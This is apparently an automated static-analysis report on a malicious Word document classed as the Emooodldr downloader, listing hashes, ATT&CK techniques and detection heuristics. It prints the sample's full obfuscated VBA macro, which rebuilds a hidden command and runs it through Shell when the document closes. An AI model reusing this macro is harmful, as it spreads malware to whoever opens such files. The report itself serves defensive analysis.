Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 9511cf49008d992c…

MALICIOUS

Office (OOXML)

54.1 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-31
MD5: 2d3f197f5e7dfc7c56af4d06fbccd698 SHA-1: 9131894f6864961f886b08e94276014385a6806b SHA-256: 9511cf49008d992c336dd4e0d944a307043f9ce47fa0323a04585145ea18c0cc
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

This OOXML document contains VBA macros, specifically an AutoClose macro, which is designed to execute a shell command. The macro uses a custom function 'qintars' to construct a string which is then passed to Application.Run. This indicates the macro is intended to download and execute a second-stage payload, consistent with the Emooodldr family identified by ClamAV. The presence of the AutoClose macro and the Shell() call are critical indicators of malicious intent.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2105 bytes
SHA-256: c0baf3aa8038b9d062be0358a81622ec2f0c8a1968de4b0d7829b5555aedc979
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function qintars(endorphin)
  diffusely = Array("d", "y", "s", "i", "R", "e", "N", "7", "5", "J", "u", "c", "G", "v", "U", "Y", "a", "Q", "", "F", "D", "C", "1", "t", "I")
  enumerable = Array(":", ".", "m", " ", "f", "e", "O", "s", "N", "o", "u", "t", "h", "?", "x", "p", "d", "B", "a", "i", "n", "r", "=", "/", "c")
  
  trinomialism = vbNullString
  
  For Each reconferring In endorphin
    osteochondritis = stomatiferous(reconferring, diffusely, UBound(diffusely))
    If osteochondritis > -1 Then
    trinomialism = enumerable(osteochondritis) & trinomialism
    End If
  Next
  
  qintars = StrReverse(trinomialism)
  
End Function

Public Function stomatiferous(pneumatorrhachis, undermountain, gastroelytrotomy)
  fag = 5553
  ligeance = 772
  For fag = 0 To gastroelytrotomy
    If undermountain(fag) = pneumatorrhachis And fag > -1 Then
     ligeance = fag
    End If
  Next

  If ligeance = 772 Then
    ligeance = -1
  End If
  
  stomatiferous = ligeance
End Function

Sub AutoClose()
  endorphin = Array("s", "7", "G", "c", "", "y", "e", "U", "e", "i", "G", "c", "c", "Y", "d", "t", "t", "u", "F", "u", "D", "G", "a", "s", "", "D", "7", "a", "7", "a", "a", "7", "U", "y", "I", "J", "s", "t", "N", "Q", "5", "t", "7", "e", "e", "a", "y", "Y", "G", "Y", "v", "u", "c", "s", "", "1", "c", "C", "", "D", "7", "R", "e", "C", "")
  strabismus = qintars(endorphin)
  
  Application.Run "chromium", (strabismus)
  
End Sub


Private Sub chromium(spires)
   
   ridpath = 3271
   xerodermae = True
   
   While xerodermae
     invasiveness = ridpath + 60
     If invasiveness - ridpath > 1 Then
       parenticide = dannemorite + "ll"
       Call VBA.Shell(spires, vbNormalFocus - 1)
       xerodermae = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 1b9864dc9223f78d1bc9988995625d69c9c0cca4329155bf4ec90063ce448d66
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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